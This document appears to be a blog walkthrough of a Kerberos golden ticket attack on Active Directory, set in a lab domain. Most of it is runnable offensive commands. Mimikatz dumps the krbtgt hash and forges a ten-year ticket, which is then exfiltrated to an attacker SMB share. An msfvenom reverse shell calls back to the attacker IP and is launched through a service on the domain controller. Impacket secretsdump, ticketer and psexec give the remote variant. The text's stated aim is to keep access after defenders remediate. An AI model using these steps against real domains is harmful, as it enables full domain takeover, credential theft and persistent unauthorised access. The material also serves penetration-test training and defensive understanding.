Golden Ticket in Active Directory

Explanation

When a user authenticates to a service in an Active Directory network, Kerberos will give them a ticket which is usually valid for about 8-10 hours. With this ticket cached in the user’s session, the user won’t have to reauthenticate.

With the Domain SID and krbtgt hash, we can actually create our own ticket. Our goal is to create a ticket that’s valid for 10+ years and has full access to the Domain. Even if the Admins change the passwords for all of the users and fix most of the vulnerabilities, we’ll still have access to the Domain as long as our “golden” ticket is still valid. However, if the Admins change the password of the krbtgt account more than once, the golden ticket will be invalid.

Krbtgt: KRBTGT stands for Key Distribution Center Service Account. It is a special account in Active Directory that is used to issue Kerberos tickets.


Creating the Golden Ticket – Locally

Scenario: We have a shell as an Administrator on the Domain Controller.

Before we create the golden ticket, we need to get the Domain SID and the NTLM hash for the krbtgt account.

We can get the Domain SID by typing the following:

whoami /user

After that, we need to execute mimikatz.exe and run “privilege::debug” to get debugging rights

.\mimikatz.exe
privilege::debug

Once we have the debugging rights, we can check the NTLM hash for the krbtgt account using “lsadump”

lsadump::lsa /inject /name:krbtgt

Then, we can create the ticket using kerberos::golden

kerberos::golden /user:Administrator /domain:WANDA.local /sid:S-1-5-21-2656266500-187851049-1930138995 /krbtgt:e8d40c0424d4f56765baf4c88f8b2841 /ticket:golden.tck

Now we need to transfer this ticket to the Kali machine. We can use Impacket’s smbserver to do this.

On Kali, lets host a share named “activepwns” in the current directory

impacket-smbserver activepwns . -smb2support

After the share has been hosted, we can copy the golden.tck file to our Kali machine using the copy command.

copy "C:\Documents and Settings\Administrator\Desktop\golden.tck" \\192.168.5.7\activepwns\golden.tck

Back on our Kali machine, we see that there is a connection from the Domain Controller

Checking our current directory shows that the golden.tck file is on the Kali machine

ls -la | grep golden.tck

Using the Golden Ticket

A couple weeks later, the Admins have patched all the vulnerabilities and changed the password of every user. But we’ve managed to get a user shell on one of the Client machines.

We can bring the ticket along with mimikatz.exe from Kali to the Windows workstation using this method. Our goal is to cache the golden ticket and list files on the Domain Controller (maybe even get a shell…).

First, lets check our current cached tickets. We see that we have none and are unable to list files on the Domain Controller.

We can cache our golden ticket into our current session using mimikatz.

kerberos::ptt golden.tck

After exiting mimikatz and checking our tickets again, we can see that the golden ticket has been cached. We are now able to list files from the C$ share of the Domain Controller.

Note: Make sure you type “dir \\dc2\c$” and not “dir \\192.168.5.14\c$”. If you specify the ip of the Domain Controller instead of the hostname, it won’t work.

Getting a shell

Listing files is great and all . . . but how do we actually get a shell on the Domain Controller?

There’s a popular tool called psexec but it can have some issues at times. In this scenario, the domain controller is 32 bit and the Client machine we currently have a shell on is 64 bit. This gave me some issues and I ended up finding another method. This post from cobalt strike goes into more detail.

But to summarize, we’re going to copy a reverse shell executable to a folder in the Domain Controller. Then, we’ll create a service on the Domain controller that has its path set to that reverse shell exe file. Once we start the service, it’ll give us a reverse shell on the Domain Controller.

Before we copy the reverse shell to the Domain Controller, we need to create it. To do so, we can use msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.7 LPORT=53 --platform Windows -f exe > reverse.exe

Remember to bring the reverse shell executable file over to the Windows machine. Check this post out if you’re having trouble.

Now, lets copy our reverse shell executable from the Windows client machine to the Domain Controller

copy reverse1.exe \\dc2\c$\Windows\temp

We can check if its there using dir

dir \\dc2\c$\Windows\temp

After that, we need to create a service that will execute this reverse shell when we start it.

sc \\dc2 create shell binpath= "c:\Windows\temp\reverse1.exe"

Before we run the service, lets start a netcat listener on our Kali machine

nc -lnvp 53

Then we can run it like so

sc \\dc2 start shell

Back on Kali, we have a shell on the Domain Controller

NOTE: We did all of this as a low privileged user from the Client machine. The reason we were able to do the above was because we have a golden ticket. If we purge the ticket using “klist purge”, we’ll lose our cached ticket and won’t be able to do any of the above until we cache it again.


Golden Ticket…but remote!

Creating the ticket

We can also accomplish this remotely from Kali. To start off, I already have the Administrator credentials and have full access to the Domain.

Before we get started with the exploit, we need to configure a couple of things first. Open up /etc/hosts and add the hostnames of the Domain controller and Domain like so.

sudo nano /etc/hosts

Now that we’re done with that, we need to figure out what information we need.

First thing we should get is the Domain SID. We can use the “impacket-lookupsid” tool

impacket-lookupsid -d WANDA.local/Administrator@dc2.WANDA.local

Then, we need to get the NTLM hash for the krbtgt account. We can do so using “impacket-secretsdump”

impacket-secretsdump -just-dc WANDA.local/Administrator@dc2.WANDA.local

Secretsdump takes advantage of the DCSync feature in Active Directory. DCSync is used by Domain Controllers that are part of the same Domain to share information with one another.

Once we have all of that info, we can create the ticket using “impacket-ticketer”

impacket-ticketer -nthash <krbtgt_hash> -domain-sid <sid> -domain <domain_name> -dc-ip <domain_ip> <username>

The ticket has been created and saved as “Administrator.ccache”

Using the ticket

For us to use this ticket, we need to set the KRB5CCNAME environment variable to that .ccache file. After we do that, the ticket will be used to authenticate to the domain when we run certain commands.

export KRB5CCNAME=Administrator.ccache

We can use “impacket-smbexec” to authenticate to the Domain Controller.

impacket-smbexec WANDA.local/Administrator@dc2.WANDA.local -dc-ip 192.168.5.14 -k -no-pass

We can also authenticate to a Client machine using “impacket-psexec”

sudo impacket-psexec WANDA.local/Administrator@client2.WANDA.local -target-ip 192.168.5.16 -dc-ip 192.168.5.14 -k -no-pass

Notice how I didn’t need to specify any passwords. We got access just with the “Administrator.ccache” file.

KRB_AP_ERR_SKEW (Clock Error)

Sometimes, you might get an error mentioning clock skew. This error means the clock of the Kali machine isn’t synced with the Domain Controller’s clock.

impacket-psexec WANDA.local/Administrator@client2.WANDA.local -target-ip 192.168.5.16 -dc-ip 192.168.5.14 -k -no-pass

To fix this, we can use the ntpdate. This will update the time on our kali machine and sync it to the Domain Controller’s time

sudo ntpdate 192.168.5.14

Thank you for reading. Please consider sharing this post if you found it interesting.